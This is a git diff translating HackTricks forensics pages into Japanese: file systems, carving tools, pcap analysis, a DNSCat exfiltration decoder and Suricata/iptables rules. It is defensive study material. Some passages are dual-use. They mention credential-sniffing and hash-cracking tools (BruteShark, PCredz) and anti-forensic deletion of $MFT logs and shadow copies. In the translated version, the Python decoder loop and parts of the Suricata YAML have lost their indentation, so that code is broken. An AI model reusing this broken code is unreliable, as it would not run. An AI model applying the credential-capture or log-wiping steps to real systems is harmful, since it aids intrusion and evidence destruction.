+FATバージョン全体に共通する重要な制限は、**最大ファイルサイズ4GB**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。 -Key components of the root directory, particularly for FAT12 and FAT16, include: +特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには以下が含まれます: -- **File/Folder Name** (up to 8 characters) -- **Attributes** -- **Creation, Modification, and Last Access Dates** -- **FAT Table Address** (indicating the start cluster of the file) -- **File Size** +- **ファイル/フォルダー名**(最大8文字) +- **属性** +- **作成、変更、最終アクセス日** +- **FATテーブルアドレス**(ファイルの開始クラスターを示す) +- **ファイルサイズ** ### EXT -**Ext2** is the most common file system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. +**Ext2**は、**ジャーナリング**しないパーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムであり、ブートパーティションのようなものです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。 -## **Metadata** +## **メタデータ** -Some files contain metadata. This information is about the content of the file which sometimes might be interesting to an analyst as depending on the file type, it might have information like: +いくつかのファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによってはアナリストにとって興味深い情報を持っている場合があります。例えば、以下のような情報が含まれることがあります: -- Title -- MS Office Version used -- Author -- Dates of creation and last modification -- Model of the camera -- GPS coordinates -- Image information +- タイトル +- 使用されたMS Officeバージョン +- 著者 +- 作成日および最終変更日 +- カメラのモデル +- GPS座標 +- 画像情報 -You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. +[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)のようなツールを使用して、ファイルのメタデータを取得できます。 -## **Deleted Files Recovery** +## **削除ファイルの回復** -### Logged Deleted Files +### ログされた削除ファイル -As was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file system just marks it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. +前述のように、ファイルが「削除」された後でも、いくつかの場所にファイルがまだ保存されています。これは通常、ファイルシステムからファイルを削除することは単に削除としてマークするだけで、データは触れられないためです。そのため、ファイルのレジストリ(MFTのような)を検査し、削除されたファイルを見つけることが可能です。 -Also, the OS usually saves a lot of information about file system changes and backups, so it's possible to try to use them to recover the file or as much information as possible. +また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルまたはできるだけ多くの情報を回復しようとすることが可能です。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### **File Carving** +### **ファイルカービング** -**File carving** is a technique that tries to **find files in the bulk of data**. There are 3 main ways tools like this work: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. +**ファイルカービング**は、**データの塊の中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります:**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ自体に基づく**。 -Note that this technique **doesn't work to retrieve fragmented files**. If a file **isn't stored in contiguous sectors**, then this technique won't be able to find it or at least part of it. +この技術は**断片化されたファイルを回収するためには機能しない**ことに注意してください。ファイルが**連続したセクターに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。 -There are several tools that you can use for file Carving indicating the file types you want to search for +ファイルカービングのために使用できるツールはいくつかあり、検索したいファイルタイプを指定できます。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Data Stream **C**arving +### データストリーム**C**arving -Data Stream Carving is similar to File Carving but **instead of looking for complete files, it looks for interesting fragments** of information.\ -For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. +データストリームカービングはファイルカービングに似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\ +例えば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。 {{#ref}} file-data-carving-recovery-tools.md {{#endref}} -### Secure Deletion +### セキュア削除 -Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ -You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. +明らかに、ファイルやそのログの一部を**「安全に」削除する**方法があります。例えば、ファイルの内容をジャンクデータで何度も**上書き**し、その後**$MFT**や**$LOGFILE**からファイルに関する**ログ**を**削除**し、**ボリュームシャドウコピー**を**削除**することが可能です。\ +このアクションを実行しても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんが、それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。 -## References +## 参考文献 - [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) - [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) - [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Certified Digital Forensics Windows** +- **iHackLabs認定デジタルフォレンジックWindows** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 1920c497a..619918826 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,95 +1,87 @@ -# File/Data Carving & Recovery Tools +# ファイル/データ カービング & 回復ツール {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## カービング & 回復ツール More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kinds of images, but not simple files. +フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 ### Binwalk -**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。 **Useful commands**: - ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file binwalk -e file #Displays and extracts some files from the given file binwalk --dd ".*" file #Displays and extracts all files from the given file ``` - ### Foremost -Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types. - +もう一つの一般的な隠しファイルを見つけるためのツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さなければ、foremostはデフォルトで設定されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output #Discovered files will appear inside the folder "output" ``` +### **スカルペル** -### **Scalpel** - -**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract. - +**スカルペル**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル (_/etc/scalpel/scalpel.conf_) からコメント解除する必要があります。 ```bash sudo apt-get install scalpel scalpel file.img -o output ``` - ### Bulk Extractor -This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do: +このツールはkaliに含まれていますが、ここでも見つけることができます: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは: ``` bulk_extractor memory.img -o out_folder ``` - -Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**). +すべての情報(パスワードなど)をツールが収集したものをナビゲートし、パケットを分析し([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメイン(**マルウェア**や**存在しない**ドメインに関連する)を検索します。 ### PhotoRec -You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) +[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で見つけることができます。 -It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for. +GUIとCLIのバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。 ![](<../../../images/image (242).png>) ### binvis -Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/). +[コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)を確認してください。 -#### Features of BinVis +#### BinVisの特徴 -- Visual and active **structure viewer** -- Multiple plots for different focus points -- Focusing on portions of a sample -- **Seeing stings and resources**, in PE or ELF executables e. g. -- Getting **patterns** for cryptanalysis on files -- **Spotting** packer or encoder algorithms -- **Identify** Steganography by patterns -- **Visual** binary-diffing +- 視覚的でアクティブな**構造ビューワー** +- 異なる焦点のための複数のプロット +- サンプルの一部に焦点を当てる +- PEまたはELF実行可能ファイルの**文字列とリソース**を見る +- ファイルの暗号解析のための**パターン**を取得 +- パッカーやエンコーダアルゴリズムを**特定** +- パターンによるステガノグラフィの**識別** +- **視覚的**なバイナリ差分 -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**出発点**です。 -## Specific Data Carving Tools +## 特定のデータカービングツール ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 -Download [here](https://sourceforge.net/projects/findaes/). +[こちらからダウンロード](https://sourceforge.net/projects/findaes/)。 -## Complementary tools +## 補完ツール -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\ +PDFをテキストに変換して読むためにLinuxコマンドラインツール**pdftotext**を使用できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..1871f7b81 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,32 +2,26 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> **PCAP**と**PCAPNG**についての注意: PCAPファイル形式には2つのバージョンがあり、**PCAPNGは新しく、すべてのツールでサポートされているわけではありません**。他のツールで作業するために、Wiresharkや他の互換性のあるツールを使用してPCAPNGからPCAPにファイルを変換する必要があるかもしれません。 ## Online tools for pcaps -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- pcapのヘッダーが**壊れている**場合は、次のリンクを使用して**修正**を試みるべきです: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- [**PacketTotal**](https://packettotal.com)でpcap内の**情報**を抽出し、**マルウェア**を検索します。 +- [**www.virustotal.com**](https://www.virustotal.com)および[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して**悪意のある活動**を検索します。 +- [**https://apackets.com/**](https://apackets.com/)で**ブラウザからの完全なpcap分析**。 ## Extract Information -The following tools are useful to extract statistics, files, etc. +次のツールは、統計、ファイルなどを抽出するのに役立ちます。 ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **PCAPを分析する場合、基本的にWiresharkの使い方を知っておく必要があります** -You can find some Wireshark tricks in: +Wiresharkのトリックを見つけることができます: {{#ref}} wireshark-tricks.md @@ -35,115 +29,97 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +ブラウザからのpcap分析。 ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. +[**Xplico** ](https://github.com/xplico/xplico)_(Linuxのみ)_は、**pcap**を**分析**し、そこから情報を抽出できます。たとえば、pcapファイルからXplicoは、各メール(POP、IMAP、SMTPプロトコル)、すべてのHTTPコンテンツ、各VoIP通話(SIP)、FTP、TFTPなどを抽出します。 **Install** - ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**実行** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_ に _**xplico:xplico**_ の資格情報でアクセスします。 -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +次に、**新しいケース**を作成し、そのケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**します。 ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplicoと同様に、**pcaps**からオブジェクトを**分析して抽出する**ツールです。無料版があり、[**こちらからダウンロード**](https://www.netresec.com/?page=NetworkMiner)できます。**Windows**で動作します。\ +このツールは、パケットから**他の情報を分析**して、何が起こっていたのかを**より迅速に**把握するのにも役立ちます。 ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +[**こちらからNetWitness Investigatorをダウンロード**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)できます。**(Windowsで動作します)**。\ +これは、パケットを**分析**し、情報を有用な形で整理して、**内部で何が起こっているかを知る**のに役立つ別の便利なツールです。 ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- ユーザー名とパスワードを抽出およびエンコード (HTTP, FTP, Telnet, IMAP, SMTP...) +- 認証ハッシュを抽出し、Hashcatを使用してクラックします (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- ビジュアルネットワークダイアグラムを作成 (ネットワークノードとユーザー) +- DNSクエリを抽出 +- すべてのTCPおよびUDPセッションを再構築 +- ファイルカービング ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +pcap内で**何か**を**探している**場合は、**ngrep**を使用できます。以下は主要なフィルターを使用した例です: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` +### カービング -### Carving - -Using common carving techniques can be useful to extract files and information from the pcap: +一般的なカービング技術を使用することで、pcapからファイルや情報を抽出するのに役立ちます: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md {{#endref}} -### Capturing credentials +### 認証情報のキャプチャ -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)のようなツールを使用して、pcapまたはライブインターフェースから認証情報を解析できます。 -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Check Exploits/Malware +## エクスプロイト/マルウェアの確認 ### Suricata -**Install and setup** - +**インストールと設定** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**pcapを確認する** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) は、次のことができるツールです。 -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- PCAPファイルを読み取り、Httpストリームを抽出します。 +- gzipは圧縮されたストリームを解凍します。 +- すべてのファイルをyaraでスキャンします。 +- report.txtを書き込みます。 +- 一致するファイルをディレクトリに保存するオプションがあります。 ### Malware Analysis -Check if you can find any fingerprint of a known malware: +既知のマルウェアのフィンガープリントを見つけられるか確認してください: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) は、受動的なオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、疑わしいまたは悪意のある活動の調査をサポートするために、Zeekをネットワークセキュリティモニター(NSM)として使用しています。Zeekは、セキュリティドメインを超えたパフォーマンス測定やトラブルシューティングを含む、幅広いトラフィック分析タスクもサポートしています。 -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +基本的に、`zeek`によって作成されたログは**pcap**ではありません。したがって、**pcap**に関する**情報**を分析するために、**他のツール**を使用する必要があります。 ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS情報 ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## 他のpcap分析のトリック {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..b48dc28da 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# DNSCat pcap 分析 {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +DNSCatによって**流出したデータ**を含むpcapがある場合(暗号化を使用せずに)、流出したコンテンツを見つけることができます。 +**最初の9バイト**は実際のデータではなく、**C\&C通信**に関連していることを知っておくだけで十分です。 ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +詳細については、次のリンクを参照してください: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..102665d90 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -1,19 +1,18 @@ -# Suricata & Iptables cheatsheet +# Suricata & Iptables チートシート {{#include ../../../banners/hacktricks-training.md}} ## Iptables -### Chains +### チェーン -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +iptablesでは、チェーンとして知られるルールのリストが順次処理されます。これらの中で、3つの主要なチェーンは普遍的に存在し、システムの能力に応じてNATのような追加のチェーンがサポートされる可能性があります。 -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Input Chain**: 受信接続の動作を管理するために使用されます。 +- **Forward Chain**: ローカルシステムに向かない受信接続を処理するために使用されます。これは、受信したデータが別の宛先に転送されることを目的とするルーターとして機能するデバイスに典型的です。このチェーンは、システムがルーティング、NAT、または類似の活動に関与している場合に主に関連します。 +- **Output Chain**: 送信接続の規制に専念しています。 +これらのチェーンはネットワークトラフィックの秩序ある処理を保証し、システムへのデータの流れ、通過、そして出力に関する詳細なルールを指定できるようにします。 ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### インストールと設定 ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### ルール定義 -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[ドキュメントから:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) ルール/シグネチャは以下で構成されています: +- **アクション**、シグネチャが一致したときに何が起こるかを決定します。 +- **ヘッダー**、ルールのプロトコル、IPアドレス、ポート、および方向を定義します。 +- **ルールオプション**、ルールの詳細を定義します。 ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **有効なアクションは** -#### **Valid actions are** +- alert - アラートを生成する +- pass - パケットのさらなる検査を停止する +- **drop** - パケットをドロップし、アラートを生成する +- **reject** - 一致するパケットの送信者にRST/ICMP到達不能エラーを送信する +- rejectsrc - ただの_reject_と同じ +- rejectdst - 一致するパケットの受信者にRST/ICMPエラーパケットを送信する +- rejectboth - 会話の両側にRST/ICMPエラーパケットを送信する -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **プロトコル** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (tcpトラフィック用) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ipは「すべて」または「任意」を意味する) +- _layer7プロトコル_: http, ftp, tls, smb, dns, ssh... (詳細は[**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)を参照) -#### Source and Destination Addresses +#### ソースおよび宛先アドレス -It supports IP ranges, negations and a list of addresses: +IP範囲、否定、およびアドレスのリストをサポートしています: -| Example | Meaning | -| ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| 例 | 